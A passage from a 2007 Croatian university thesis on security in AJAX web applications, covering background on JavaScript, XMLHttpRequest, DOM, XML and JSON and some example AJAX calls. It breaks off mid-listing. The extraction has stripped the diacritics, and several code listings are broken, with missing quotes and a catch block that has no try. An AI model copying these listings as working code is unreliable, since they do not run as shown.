Sigurnost Web Aplikacija Zasnovanih Na AJAX Tehnologiji

SVEUILITE U ZAGREBU
FAKULTET ELEKTROTEHNIKE I RAUNARSTVA
DIPLOMSKI RAD br. 1656
Sigurnost Web aplikacija zasnovanih na

AJAX tehnologiji
Matija Zeman
Zagreb, srpanj 2007.
Zahvaljujem svima koji su mi na bilo koji nain pomogli

u izradi ovog diplomskog rada. Posebice doc. dr. sc.
Marinu Golubu i mr. sc. Stjepanu Grou na strunom
vodstvu.
Saetak
U ovom radu opisani su problemi sigurnosti Web aplikacija zasnovanih na AJAX tehnologiji.
Objanjeni su mehanizmi AJAX poziva, najee ranjivosti Web aplikacija i posebnosti koje se
odnose na AJAX aplikacije, kao i nain njihovog rjeavanja. Veinu opisa prate pripadajui
primjeri, radi lakeg razumijevanja. Takoer, kroz primjere su prikazani trendovi u eksploataciji
ranjivosti na komunikaciji izmeu klijenta i posluitelja, ali i na klijentu. U praktinom dijelu
opisana je stvorena AJAX aplikacija za manipulaciju konfiguracijskim datotekama IKE alata, kao i
problemi specifini za tu aplikaciju.
Abstract
This diploma thesis describes security problems in Web applications based on AJAX technology. It
describes basic AJAX mechanisms, most common Web application vulnerabilities and specific
problems that refer to AJAX applications, as well as the way of resolving them. Most of
descriptions are followed by real life examples for easier understanding. Also, examples show the
newest trends in vulnerability exploitation on the communication between client and server, as well
as on the client itself. The practical part of the paper describes the created AJAX application used
for manipulating the IKE configuration files and the security problems specific to that application.
Sadraj
1. Uvod...................................................................................................................................1
2. AJAX..................................................................................................................................3
2.1. Model Web aplikacije.................................................................................................3
2.2. JavaScript...................................................................................................................4
2.3. XMLHttpRequest objekt..............................................................................................5
2.4. DOM............................................................................................................................7
2.5. XML.............................................................................................................................8
2.6. JSON..........................................................................................................................8
2.7. Primjeri AJAX poziva..................................................................................................9
2.7.1. Dohvat HTML-a i umetanje u DOM stablo........................................................10
2.7.2. Dohvat XML-a i manipulacija............................................................................12
2.7.3. Dohvat JSON-a i evaluacija..............................................................................15
2.8. Alternativne tehnologije............................................................................................17
2.8.1. Flash tehnologije...............................................................................................17
2.8.2. ASP.NET Ajax...................................................................................................19
2.8.3. Java...................................................................................................................19
3. Sigurnost Web aplikacija.................................................................................................21
3.1. OWASP Top 10 ranjivosti Web aplikacija i metode zatite..................................... 22
3.1.1. Izvravanje napadakog kda...........................................................................22
3.1.2. Propusti ubacivanja...........................................................................................26
3.1.3. Izvoenje zlonamjernih datoteka...................................................................... 26
3.1.4. Nesigurna izravna referenca na objekt.............................................................27
3.1.5. Krivotvorenje zahtjeva.......................................................................................28
3.1.6. Isputanje informacija i neispravno rukovanje pogrekama.............................33
3.1.7. Razbijena autentifikacija i kontrola sjednice.....................................................33
3.1.8. Nesigurna kriptografska pohrana......................................................................34
3.1.9. Nesigurne komunikacije....................................................................................35
3.1.10. Neuspjena zatita pristupa URL-u................................................................ 35
3.2. Tipine ranjivosti AJAX aplikacija.............................................................................36
3.2.1. Nepravilna serijalizacija JavaScript objekata....................................................36
3.2.2. Ubacivanje JSON parova..................................................................................36
3.2.3. Trovanje JavaScript polja..................................................................................37
3.2.4. Manipulacija XML toka......................................................................................37
3.2.5. Ubacivanje skripte u DOM................................................................................37
3.2.6. Zaobilaenje politike istog izvora i povratna funkcija........................................37
3.2.7. RSS i Atom ubacivanja.....................................................................................38
3.2.8. Bomba jednog klika...........................................................................................38
3.2.9. Zaobilaenje politike istog izvora koritenjem Flash-a......................................38
3.3. Inspekcija klijentskog kda.......................................................................................38
3.3.1. Zatita kda u klijentu.......................................................................................39
3.4. Politika istog izvora...................................................................................................40
3.4.1. Opis mehanizma...............................................................................................40
3.4.2. Internacionalne domene................................................................................... 42
3.4.3. Vanjske skripte..................................................................................................42
3.4.4. PDF ranjivosti....................................................................................................42
3.4.5. DNS kvaenje....................................................................................................43
3.4.6. Automatsko ubacivanje skripti s drugih domena.............................................. 43

3.4.7. Ostali napadi na politiku istog izvora.................................................................45
3.5. Primjeri eksploatacije ranjivosti koritenjem AJAX-a i JavaScript-a........................ 47
3.5.1. Otimanje JavaScript kda.................................................................................47
3.5.2. Napad na lokalnu mreu...................................................................................50
3.5.3. XSS posrednik...................................................................................................52
3.5.4. JIKTO................................................................................................................55
3.5.5. Samy crv............................................................................................................58
4. Praktini rad WebIKE aplikacija................................................................................... 61
4.1. Konfiguracijske datoteke i opcije..............................................................................61
4.1.1. IKE protokol i konfiguracija................................................................................61
4.1.2. Konfiguracijska datoteka IKEv2 alata...............................................................63
4.1.3. Generika konfiguracija.....................................................................................66
4.2. Arhitektura i izvedba aplikacije.................................................................................72
4.2.1. Kd aplikacije na posluitelju............................................................................74
4.2.2. Kd aplikacije na klijentu...................................................................................75
4.2.3. Opis naina rada aplikacije...............................................................................76
4.2.4. Mogunosti proirenja aplikacije.......................................................................79
4.3. Opis koritenja aplikacije..........................................................................................80
4.4. Model prijetnji i zatita aplikacije..............................................................................85
4.4.1. Kljuni scenariji aplikacije..................................................................................85
4.4.2. Koritene tehnologije.........................................................................................85
4.4.3. Sigurnosni mehanizmi aplikacije.......................................................................86
4.4.4. Granice povjerenja............................................................................................86
4.4.5. Tokovi podataka................................................................................................86
4.4.6. Prijetnje i nain zatite......................................................................................87
4.5. Penetracijsko testiranje aplikacije............................................................................88
4.5.1. Automatsko testiranje Paros alatom.................................................................89
4.5.2. Runo testiranje aplikacije................................................................................90
5. Zakljuak..........................................................................................................................96
6. Literatura..........................................................................................................................97
Dodatak A - XML shema generike konfiguracije............................................................. 100
Dodatak B - Primjer XML generike konfiguracije.............................................................104
1. Uvod
Promatrajui povijest Interneta, predstavljanje World Wide Web-a (Web) 1990. godine jest jedna od
najvanijih prekretnica. Predstavljanjem Web-a, omogueno je atraktivno prikazivanje sadraja, ali
prije svega i povezivanje informacija, to je i neiskusnim korisnicima omoguilo pristup
informacijama svjetske mree. Ipak, Web je u prolosti bio iskljuivo statian. Obzirom na
ogranienja koja predstavlja statini sadraj, vrlo brzo je dolo do razvoja programskog okruenja
na strani klijenta. JavaScript, VBScript, Java Applet-i, ActiveX kontrole i nekoliko drugih
tehnologija doivjelo je veliki razvoj od 1995. godine. Sve ove tehnologije ciljale su na prijenos
aktivnosti s posluitelja na klijenta. Poetkom novog tisuljea, problemi koji su se pojavljivali u
radu s klijentskim tehnologijama, uzrokovali su ponovno vraanje velikog dijela aktivnosti nazad na
posluitelj. Privatne norme, trina politika i sigurnosni problemi klijenta smanjili su prihvatljivost
klijentske tehnologije. Zadnjih godina, ipak, histerija vezana za klijentske tehnologije je nestala te
moderne Web aplikacije koriste klijentske tehnologije (danas iskljuivo JavaScript) u jednakom
opsegu kao i posluiteljske tehnologije, a potrebni zadaci aplikacije su raspodijeljeni meu njima.
Web 2.0 je termin stvoren 2004. godine od O'Reilly Media, a oznaava drugu generaciju Web
baziranih zajednica i pruanih usluga kao to su stranice drutvenih povezivanja, wiki stranice i
druge stranice za razmjenu podataka i sadraja kojima je osnova suradnja i dijeljenje meu
korisnicima. Iako termin pretpostavlja novu verziju Web-a, ne radi se o novoj tehnikoj
specifikaciji, ve o promjenama u nainu koritenja Web platforme. Prema Timu O'Reilly-ju, Web
2.0 je poslovna revolucija u raunalnoj industriji uzrokovana prelaskom na Internet kao platformu i
pokuajem da se shvate pravila uspjeha na toj novoj platformi. [50]
Iako definicija Web 2.0 aplikacije ne postoji, poznate su njene osnovne karakteristike:
Mrea kao platforma, omoguava korisniku da koristi aplikacije kroz Web preglednik;
Korisnik je vlasnik podataka na stranici i ima mogunost kontrole nad tim podacima;
Arhitektura sudjelovanja i demokracije koja potie korisnika da dodaje vrijednost aplikaciji

koju koristi;
Bogato i interaktivno suelje bazirano je na AJAX-u ili slinim tehnologijama;
Aspekti mrenog druenja su esto zastupljeni.
Kompleksna i razvijajua tehnologija infrastrukture Web-a 2.0 ukljuuje posluiteljske programe,

udruivanje sadraja, protokole za izmjenu poruka, preglednike koji podravaju norme i imaju
dodatke i proirenja, te razliite klijentske aplikacije.
Web 2.0 aplikacije mogu tipino koristiti sljedee tehnike:
Bogate internet aplikacije, veinom bazirane na AJAX-u;
CSS (engl. Cascading Style Sheets);
Semantiki valjan XHTML;
Udruivanje i skupljanje podataka u RSS/Atom formatu;
isti i jasni URL-ovi;
Izraena upotreba folksonomija (engl. folksonomy, drutvena mrena okruenja za razmjenu

multimedije);
1
Koritenje wiki aplikacija (djelomino ili potpuno);
Potpuno ili djelomino koritenje otvorenog kda;
Blogovi;
Mashup aplikacije koje kombiniraju sadraj s vie izvora u integrirano iskustvo;
REST ili XML Web usluge.
Obzirom da je AJAX baza Web 2.0 aplikacija koja povezuje posluitelja i klijenta, te je trenutno
zastupljena u veini aplikacija te obzirom da su Web 2.0 aplikacije obino namijenjene veem broju
korisnika, iznimno je bitno obratiti panju na sigurnost AJAX aplikacija, posebice na klijentski dio.
U ovom radu su opisani AJAX mehanizmi i najei problemi vezani uz AJAX aplikacije, ali i ire
u okviru Web 2.0 aplikacija. Problemi, kao i mogunosti rjeavanja tih problema opisani su kako
teorijski, tako i kroz primjere. U praktinom dijelu rada, opisana je stvorena AJAX aplikacija, kao i
sigurnosni problemi vezani uz nju.
2. AJAX
Termin AJAX nastao je u veljai 2005. godine [3]. Stvorio ga je Jesse James Garrett, osniva
Adaptive Path-a, poduzea koje se bavi razvojem informacijske arhitekture. Termin se ralanjuje
na dva osnovna naina, kao:
Asynchronous JavaScript and XML (Asinkroni JavaScript i XML)
Advanced JavaScript and XML (Napredni JavaScript i XML).
U definiciji AJAX-a koju Garrett navodi [2], kae da termin AJAX ne predstavlja tehnologiju, ve
skup tehnologija, a to su:
prezentacijski sloj Web aplikacije stvoren koritenjem XHTML-a i CSS-a;
dinamiki prikaz i interakcija koritenjem DOM-a;
izmjena podataka i manipulacija koritenjem XML-a i pripadnih tehnologija;
asinkroni prihvat podataka koritenjem XMLHttpRequest objekta;
JavaScript koji povezuje sve gore navedeno.
2.1. Model Web aplikacije

Klasini model rada Web aplikacije i AJAX model razlikuju se u nekoliko segmenata. Primarno se
te odnosi na nain dohvata i mjesto obrade podataka, kako je vidljivo i na slici 2.1.
Slika 2.1. Tradicionalni i AJAX model Web aplikacija
Ono to se vrlo znaajno u interakciji s korisnikom, a da bi se postigla osjetljivost aplikacije na

korisniku interakciju, je stvaranje asinkronosti. Tradicionalna Web aplikacija radi na nain da
preglednik dohvaa Web stranicu tako da poalje zahtjev posluitelju i zatim nakon to primi
3
odgovor, stranicu prikae u svom prozoru. Ovo uzrokuje kreni-stani nain rada, tonije uzrokuje
pauze pri dohvatu podataka u kojima korisnik pred sobom ima prazan prozor preglednika. AJAX
uvodi asinkronost u prihvatu podataka, dodavanjem novog sloja u aplikaciju, kako je prikazano na
slici 2.2. Umjesto da uita samo Web stranicu, preglednik pri poetku sjednice uita i AJAX
mehanizme napisane u JavaScript jeziku. Ovaj mehanizam je odgovoran kako za iscrtavanje
sadraja korisniku, tako i za komunikaciju s posluiteljem pri dohvatu izmjena ili novih podataka.
Slika 2.2: Prijenos podataka u tradicionalnom i AJAX modelu Web aplikacija
2.2. JavaScript
JavaScript je naziv implementacije ECMAScript norme koju su ostvarili Netscape Communication
Corporation, te kasnije Mozilla Foundation. Radi se o skriptnom programskom jeziku koji se
oslanja na koncept programiranja na bazi prototipa. Jezik je najpoznatiji po njegovom koritenju u
izradi Web stranica (kao JavaScript na klijentskoj strani), ali ga je mogue koristiti i na strani
posluitelja, no to je jako rijedak sluaj. Unato imenu, JavaScript nema veih poveznica s Java
programskim jezikom, ve je puno sliniji sintaksi koju koristi C programski jezik. Ime je zapravo
nastalo preimenovanjem iz naziva LiveScript, kao rezultat poslovne suradnje izmeu Netscape-a i
Sun-a u zamjenu za integraciju Sun-ove Java jezgre u tada dominantan Netscape-ov Navigator
preglednik. JavaScript je prvotno razvio Brendan Eich, zaposlenik Netscape-a pod imenom Mocha,
a kasnije LiveScript.
Kada se govori o koritenju JavaScript-a u Microsoft Internet Explorer pregledniku, zapravo se
misli na JScript, Microsoft-ovu implementaciju ECMAScript-a koja skoro u potpunosti jednaka
JavaScript implementaciji.
Od 2006. godine, posljednja verzija jezika je JavaScript 1.7. Prijanja verzija 1.6 odgovarala je
ECMA-262 treem izdanju kao i JavaScript 1.5, osim u odreenim detaljima vezanim uz String i
Array objekte. Jednostavno reeno, ECMAScript je normizirana verzija JavaScript-a.
Kako je reeno, JavaScript je sintaksom slian C jeziku te kao i C jezik nema konstruktore i
destruktore. Dok se C jezik oslanja na standardne ulazno izlazne biblioteke, JavaScript je oslanja na
okolinu u kojoj je umetnut. Postoji mnogo primjera okolina u kojoj JavaScript moe funkcionirati, a
najpoznatije su Web tehnologije.
Jedna od najznaajnijih upotreba JavaScript-a jest pisanje funkcija koje su uloene ili ukljuene u
HTML stranice, te manipuliraju s DOM objektom stranice, da bi se izvele funkcije koje HTML ne
moe izvriti. Ovo se esto naziva i DHTML (Dynamic HTML). Neke od najeih upotreba su:
otvaranje ili iskakanje novog prozora s kontrolom nad njegovom veliinom, pozicijom i
izgledom;
provjera unosa u formular da bi se osigurala ispravnost unosa prije slanja posluitelju;
izmjena slika u trenutku kada korisnik miem prelazi preko njih. Ovaj efekt je vrlo esto
koriten da bi se privukla pozornost korisnika na bitne veze koje su prikazane kao grafiki
elementi.
DOM suelje se razlikuje u razliitim preglednicima i ne odgovara uvijek W3C DOM normi.
Umjesto da se piu razliite verzije JavaScript funkcija za svaki od mnotva preglednika koji su
danas u uporabi, obino je mogue, praenjem W3C DOM Level 1 i Level 2 normi, ostvariti
potrebnu funkcionalnost prema danim standardima na nain da e veina preglednika ispravno
izvesti izvorni kd. Uvijek je potrebno obratiti panju da se stranice degradiraju na primjeren nain
kako bi ostale upotrebljive korisnicima koji imaju:
onemogueno izvoenje JavaScript-a;
preglednik koji ne podrava JavaScript na primjer starija PDA runa raunala i mobiteli;
vizualnu ili drugu nesposobnost te koriste nestandardni preglednik, kao to je govorni

preglednik ili preglednik koji koristi ekstremno poveanje teksta.
Meutim, to se tie AJAX aplikacija, obzirom da je JavaScript njihova osnova, prve dvije toke su
neto na to se panja ne obraa, posebice obzirom da se razvojem tehnologije JavaScript ukljuuje
u sve poznate preglednike na svim platformama.
Osim na Web-u, JavaScript interpreteri su ugnijedeni u razliite druge alate. Adobe Acrobat i
Adobe Reader podravaju JavaScript u PDF datotekama. Alati u skupu Adobe Creative Suite, kao
to su Photoshop, Illustrator i InDesign, takoer omoguavaju skriptiranje JavaScript-om. Mozilla
platforma, koja je jezgra za nekoliko Web preglednika, koristi JavaScript za implementaciju
korisnikog suelja i transakcijske logike svojih drugih proizvoda. Takoer, interpreteri su
ugnijedeni i u vlasnike aplikacije koje nemaju skriptno suelje. Dashboard Widget-i u Appleovom Mac OS X sustavu su implementirani koritenjem JavaScript-a, kao i Microsoft-ova Active
Scripting tehnologija koja podrava JavaScript kompatibilan JScript kao skriptni jezik operacijskog
sustava. JScript .NET je CLI kompatibilan jezik slian JScript-u, ali ima vee objektno orijentirane
mogunosti [5,39].
2.3. XMLHttpRequest objekt

XMLHttpRequest objekt je dio API-ja koji se moe koristiti kroz JavaScript, ali i ostale skriptne
jezike u Web preglednicima, da bi se izvrio prijenos XML-a ili drugih tekstualnih podataka s i
prema posluitelju koritenjem HTTP protokola, tj. uspostavljanjem nezavisnog komunikacijskog
kanala izmeu Web stranice na klijentskoj i na posluiteljskoj strani.
Podaci koje vraa pozivanje XMLHttpRequest objekta obino mogu biti XML, HTML, JSON ili
obian tekst. Ovaj objekt je vaan dio AJAX aplikacija, tj. njihove mogunosti implementacije
dinamikog suelja. XMLHttpRequest objekt implementira sljedee metode:
abort () - otkaz trenutnog zahtjeva;
getAllResponseHeaders() - metoda vraa sva polja koja se pojavljuju u zaglavlju HTTP

zahtjeva;
getResponseHeader (headerName) metoda vraa vrijednost specificiranog polja HTTP

zaglavlja;
open (method, URL)

open (method, URL, async)
open (method, URL, async, userName)
open (method, URL, async, userName, password) metode koje otvaraju vezu prema
posluitelju kroz specifikaciju zahtjeva. Parametri koji se definiraju su sljedei:
method moe imati vrijednost GET, POST, HEAD, PUT, DELETE, ili
neku drugu dozvoljenu HTTP metodu,
URL relativna ili potpuna URL adresa,
async parametar koji specificira treba li se zahtjev obraditi asinkrono ili ne. True
vrijednost oznaava da se izvravanje skripte treba nastaviti nakon poziva send()
metode, bez ekanja na odgovor, dok false vrijednost znai da izvravanje skripte treba
zaustaviti dok ne dospije odgovor na zahtjev;
send (content) metoda koja izvrava slanje zahtjeva. Argument metode je obino NULL
kada se radi o GET zahtjevu, a ako se radi o POST zahtjevu tada se kao argument
umeu parametri POST zahtjeva;
setRequestHeader(label, value) metoda koja dodaje par naziv-vrijednost zaglavlju HTTP

zahtjeva koji e se poslati. Vano je napomenuti da je postavljanje odreenih polja u
zaglavlju zabranjeno.
Osim metoda, objekt ima i neke osobine, a to su:
onreadystatechange specificira referencu na dio kda koji e vriti obradu dogaaja koji
se okida svaki puta kada se promjeni stanje objekta;
readyState specificira stanje objekta prema sljedeim vrijednostima:
0 neinicijaliziran
1 otvoren
2 poslan
3 primljen
4 uitan;
responseText daje vrijednost odgovora u tekstualnom obliku;
responseXML daje vrijednost odgovora u XML formatu. Ova osobina vraa objekt XML
dokumenta, koji moe biti pregledan i ralanjen koritenjem W3C DOM metoda i osobina
za strukturirano stablo;
status daje statusni kd HTTP zahtjeva kao broj (404 za Not Found, 200 za OK i
slino);
statusText daje status HTTP zahtjeva kao tekst (Not Found, OK i slino).
XMLHttpRequest koncept je prvotno razvio Microsoft kao dio Outlook Web Access 2000. Njihova
implementacija je nazvana XMLHTTP te je dostupna od pojave Internet Explorer preglednika
verzije 5.0 i moe joj se pristupati kroz JScript, VBScript i druge skriptne jezike koje IE preglednici
podravaju.
Mozilla projekt je prvu kompatibilnu implementaciju XMLHttpRequest objekta predstavio 2002.

godine u Mozilla 1.0 pregledniku. Slijedila je implementacija u Safari pregledniku verzije 1.2,
Konqueror pregledniku, pregledniku Opera verzije 8.0 i iCab pregledniku verzije 3.0b352.
W3C je objavio radni prijedlog specifikacije API-ja XMLHttpRequest objekta 5. travnja 2006.
Prijedlog je i dalje u radnom obliku, a cilj mu je dokumentirati minimalni skup interoperabilnih
mogunosti baziranih na postojeim implementacijama, da bi se Web razvijateljima omoguila
upotreba tih funkcionalnosti bez stvaranja izvornog kda koji je specifian za pojedinu platformu"
[4,26].
2.4. DOM
W3C (World Wide Web Consortium) je razvio W3C DOM (Document Object Model) kao odgovor
na razvoj razliitih vlasnikih modela za HTML.
W3C je zapoeo razvoj DOM modela sredinom devedesetih godina prolog stoljea. Iako W3C
nikad nije napravio specifikaciju DOM 0, ona je kao djelomino dokumentirani prijelazni model
ukljuena u specifikaciju HTML 4. U listopadu 1998. zavrena je prva specifikacija DOM modela
(DOM 1). U studenom 2000. objavljena je DOM 2 specifikacija koja je izmeu ostaloga definirala i
model stilskih predloaka (engl. style sheet) i nain manipulacije stilskim informacijama. DOM 3 je
objavljen u travnju 2004. godine, te je trenutno valjana DOM specifikacija.
W3C DOM specifikacije su podijeljene na nivoe, od kojih svaki sadri zahtjevane i neobvezne
module. Da bi podravala pojedini nivo, aplikacija mora implementirati sve zahtjeve eljenog
nivoa, kao i zahtjeve nivoa ispod njega. Aplikacija takoer moe podravati dodatke koji su
specifini pojedinom isporuitelju, a nisu u konfliktu s W3C normama. 2005. godine, Level 1,
Level 2 i neki moduli Level 3 nivoa postali su W3C preporuke (engl. recommendations) to bi
znailo da su dostigli krajnju formu. Pojedini nivoi izgledaju ovako:
Level 0 Aplikacija podrava djelomino dokumentirani prijelazni model poznat prije

nastanka DOM 1. Ovaj nivo nije formalna specifikacija, ve referenca na model koji se
koristio prije normizacije;
Level 1 Navigacija kroz DOM (HTML i XML) dokument (struktura stabla) i manipulacija
sadrajem (ukljuujui dodavanje elemenata). HTML specifini elementi su takoer
ukljueni;
Level 2 Podrka za XML prostor imena, filtrirani pogledi i dogaaji;
Level 3 Ovaj nivo se sastoji od est razliitih specifikacija:

1. DOM Level 3 Core jezgra
2. DOM Level 3 Load and Save uitavanje i pohrana
3. DOM Level 3 Xpath jezik XML puta
4. DOM Level 3 Views and Formatting pogledi i nain formatiranja
5. DOM Level 3 Requirements zahtjevi
6. DOM Level 3 Validation provjera koja dodatno unaprijeuje DOM.
Obzirom da je svaki Web preglednik podravao svoj prijelazni DOM model, problemi
interoperabilnosti su bili brojni. Da bi se podrala kompatibilnost izmeu preglednika, veliki
dijelovi DHTML kda su bili prepravljeni. Zajedniki DOM je omoguavao jednostavniju izradu
kompleksnih Web aplikacija. W3C DOM Level 1 je postao preporuka 1. listopada 1998., ali
pokuaj normizacije nije odmah zaivio, obzirom da su nepodobni preglednici, kao to su bili IE 4.x
i Netscape 4.x, bili masovno koriteni i 2000. godine. Od 2005. godine, velika veina W3C DOM
7
specifikacije je podrana u svim standardnim preglednicima, to ukljuuje Microsoft Internet

Explorer verzije 5 (1999.), 6(2001.) i 7(2006.), Gecko-bazirane preglednike (Mozilla i Firefox),
Opera, Konqueror i Safari [51].
2.5. XML
XML (engl. eXtensible Markup Language) je jezik obiljeavanja ope primjene. Osnovna svrha mu
je olakati dijeljenje podataka kroz razliite informacijske sustave, posebice preko Interneta. XML
je pojednostavljeni podskup SGML jezika (engl. Standard Generalized Markup Language) i
dizajniran je da bi bio lako itljiv ovjeku. XML se smatra ope primjenjivim jer omoguava
koritenje u razliitim aplikacijama i razliitim domenama problema. Tisue formalno definiranih
jezika obiljeavanja bazirani su na XML-u, izmeu ostaloga i XHTML (pokuaj pojednostavljivanja
HTML-a, koji je baziran na SGML-u), RSS, MathML, GraphML, SVG, MusicXML i drugi.
XML je takoer preporuka W3C-a. Osim to je definiran kao otvorena i besplatna norma, W3C
specificira leksiku gramatiku i zahtjeve za ralambu.
U ispisu 2.1 je naveden primjer XML-om opisane poruke od Ivice za Janicu:
Ispis 2.1. XML primjer poruke
<poruka>
<za>Janica</za>
<od>Ivica</od>
<naslov>Podsjetnik</naslov>
<sadraj>Sjeti me se ovaj vikend!</sadraj>
</poruka>
Postoje dvije vrste ispravnosti u XML dokumentu:
ureen (engl. well-formed) je dokument koji se pridrava pravila XML sintakse. Na

primjer, ako neprazan element ima oznaku otvaranja, ali nema oznaku zatvaranja, dokument
nije ureen te se kao takav ne smatra XML dokumentom;
valjan, provjeren (engl. valid) je dokument koji se pridrava nekih semantikih pravila. Ta
pravila obino definira korisnik u posebnom dijelu dokumenta (<!DOCTYPE>), opisnoj DTD
datoteci (engl. Document Type Definition) ili su ukljuena kroz XML shemu (engl. XML
schema). Ukoliko se pojedini elementi ne pridravaju definiranih pravila, dokument nije
valjan te se kao takav ne smatra XML dokumentom.
Obzirom da je XML jezik za opis podataka, dokumenti ne nose informacije o tome kako se podaci
trebaju prikazati. Bez koritenja CSS-a ili XSL-a, generiki XML dokument se prikazuje kao
neobraen XML tekst u veini Web preglednika [6].
2.6. JSON
JSON (engl. JavaScript Object Notation) je format za razmjenu poruka. Format je tekstualan i
razumljiv ovjeku, a slui predstavljanju objekata i drugih struktura podataka te se najee koristi
za prijenos takvih struktura kroz mreu (proces se naziva serijalizacija).
Njegova najea upotreba je u AJAX aplikacijama, kao jednostavna alternativa XML-u, za
asinkroni prijenos strukturiranih informacija izmeu klijenta i posluitelja. JSON je podskup
doslovnog zapisa JavaScript objekata te se najee koristi s JavaScript-om. Meutim, osnovni
tipovi i strukture podataka veine programskih jezika se mogu predstaviti u JSON-u pa stoga format
moe biti koriten za izmjenu strukturiranih podataka izmeu programa pisanih u razliitim
jezicima. Kd za ralambu i generiranje JSON zapisa je dostupan za ActionScript, C, C++, C#,
ColdFusion, Common Lisp, Delphi/Object pascal, E, Erlang, Haskell, Java, JavaScript, Limbo, Lua,
8
ML, Objective-C, Objective CAML, Perl, PHP, Python, Rebol, Ruby, Smalltalk i Tcl. Dakle,
praktiki svaki programski jezik koji se danas koristi.
JSON format je specificiran u RFC 4627 dokumentu [52]. Slubeni MIME tip za JSON je
application/json.
Osnovni tipovi podataka u JSON-u su:
Number broj (cjelobrojni, realni, decimalni);
String tekst, unicode zapis ogranien navodnicima () i sa znakom kose crte (\) za
izbjegavanje posebnih znakova;
Boolean (true ili false);
Array polje, niz poredanih vrijednosti, odvojenih zarezom i ogranienih uglatim

zagradama;
Object objekt, skup parova ime/vrijednost, odvojenih zarezom i ogranienih vitiastim

zagradama;
null nedefinirana vrijednost.
Primjer koji slijedi u ispisu 2.2 prikazuje JSON reprezentaciju objekta koji opisuje osobu. Objekt
ima dva tekstualna tipa koji oznauju ime i prezime, sadri objekt koji predstavlja adresu osobe te
sadri listu brojeva telefona u obliku polja.
Ispis 2.2. Primjer JSON zapisa objekta
{
"firstName": "John",
"lastName": "Smith",
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": 10021
},
"phoneNumbers": [
"212 732-1234",
"646 123-4567"
]
Ako pretpostavimo da je gornji tekst sadran u JavaScript varijabli tipa string (imena JSON_text) te
obzirom da je JSON doslovni zapis JavaScript objekata, korisnik moe ponovno stvoriti objekt koji
opisuje osobu jednostavnom JavaScript eval() naredbom kao u ispisu 2.3.
Ispis 2.3. Evaluacija JSON objekta
Var p = eval (( + JSON_text +));
Tada polja kao to su p.firstName, p.address.city i p.phoneNumbers[0] postaju dostupna.

Eval()
naredba ne bi trebala biti koritena za ralambu JSON-a ukoliko je izvor nepovjerljiv [7].
2.7. Primjeri AJAX poziva

AJAX pozivi se najee koriste na tri naina, ovisno koja vrsta sadraja se dohvaa. U nastavku su
detaljno i kroz primjere opisani ovi naini [1].
2.7.1. Dohvat HTML-a i umetanje u DOM stablo

Za dinamiki dohvat novog HTML kda koji e se umetnuti u ve posluenu stranicu, potrebno je
ostvariti AJAX mehanizam u pregledniku klijenta, kao i odreeni posluiteljski dio koji e klijentu
dostaviti novi sadraj. Primjer se sastoji od dvije stranice, HTML koja sadri AJAX JavaScript kd
i PHP skripte koja e dati novi sadraj. Ispis 2.4 prikazuje HTML i pripadni JavaScript kd.
Ispis 2.4. HTML i JavaScript kd za AJAX dohvat HTML kda
<html>
<head>
<script>
function ajax(){
var xhr;
try { xhr = new XMLHttpRequest(); }
//pokuaj stvaranja XMLHttpRequest objekta
catch(e){
//ukoliko nije mogue stvaranje, radi se o IE pregledniku te se
stvara Microsoft.XMLHTTP ActiveX objekt
xhr = new ActiveXObject(Microsoft.XMLHTTP);
}
//funkcija koja se izvrava promjenom stanja xhr objekta
xhr.onreadystatechange = function(){
//ukoliko je stanje 4(uitan)
if(xhr.readyState == 4){
//ukoliko je status 200(uspjean odgovor) iz DOM-a se dohvaa
//referenca na DIV polje (id izmjena) i kao unutarnji
//sadraj polja, umee se primljeni tekst
if(xhr.status == 200)
document.getElementById("izmjena").innerHTML="Primio:" + xhr.responseText;
//inae se kao unutarnji sadraj polja umee status xhr
//objekta
else document.getElementById("izmjena").innerHTML="Kod greske
" + xhr.status;
}
};
//otvaranje veze za GET zahtjev prema stranici html.php asinkronim
//nainom
xhr.open("GET", "html.php", true);
//slanje zahtjeva bez POST parametara
xhr.send(null);
}
</script>
</head>
<body>
<a href="#" onclick="ajax();">AJAX</a>
<div id="izmjena"></div>
</body>
</html>
U ispisu je vidljivo da se radi o HTML stranici, koja u tijelu ima DIV element (identifikatora
izmjena) u koje e se umetnuti dohvaeni sadraj te vezu koja na dogaaj klika poziva JavaScript
funkciju ajax(). Funkcija se nalazi unutar SCRIPT oznaka te je komentirana.
Kada se stranica uita, preglednik eka da korisnik klikne na vezu te se tada poziva funkcija
ajax(). Nakon uitavanja, prozor preglednika izgleda kao na slici 2.3.
Nakon stvaranja xhr objekta (koritenjem XMLHttpRequest-a ili Microsoft.XMLHTTP ActiveX
komponente), postavlja se funkcija koja se izvrava pri promjeni stanja te se zatim alje zahtjev.
Svakom promjenom stanja objekta, poziva se definirana funkcija te se ispituju uvjeti definirani u
10
Slika 2.3: Izgled prozora preglednika prije AJAX poziva
njoj. Ukoliko je primljen odgovor statusa 200, vri se umetanje primljenog teksta u DOM stablo, tj.
u DIV element.
Iz primjera je jasno da nam je potrebna i PHP skripta (html.php) koja generira novi sadraj. Zbog
jednostavnosti, skripta e vraati HTML formatirani zapis trenutnog datuma i vremena na
posluitelju, a izgleda kako prikazuje ispis 2.5.
Ispis 2.5. Izgled PHP skripte koja generira HTML sadraj
<p><b>
<?php
//Ispis datuma i vremena
echo(gmstrftime("Sada je %a, %b %d, %Y, %X vremenska zona: %Z",time()));
?>
</b></p>
Nakon klika, stranica izgleda kao na slici 2.4.
11
Slika 2.4: Izgled prozora preglednika nakon AJAX poziva
U konzoli ispod stranice vidljivo je da je odaslan GET zahtjev prema stranici html.php te je vidljiv
i sadraj odgovora.
2.7.2. Dohvat XML-a i manipulacija

Dohvat XML podataka pretpostavlja isti mehanizam slanja zahtjeva, ali drugaiju skriptu koja
generira odgovor, kao i drugaiji nain manipulacije odgovorom. U ispisu 2.6 slijedi kd HTML
stranice koja vri AJAX zahtjev.
12
Ispis 2.6. HTML i JavaScript kd za dohvat XML sadraja

<html>
<head>
<script>
function g(ime){
//pomona funkcija koja vraa vrijednost XML elementa
return
xhr.responseXML.documentElement.getElementsByTagName(ime)[0].firstChild.nodeVal
ue;
}
//
var xhr;
function ajax(){
//stvaranje xhr objekta
catch(e){
}
if(xhr.status == 200) {
//ispis primljenog teksta
//stvaranje teksta koritenjem vrijednosti danih u XML zapisu pomou poziva
pomonoj funkciji
var podaci="Ja sam "+g("ime")+"
"+g("prezime")+".<br/>Moja adresa je "+g("ulica")+", "+g("grad")+",
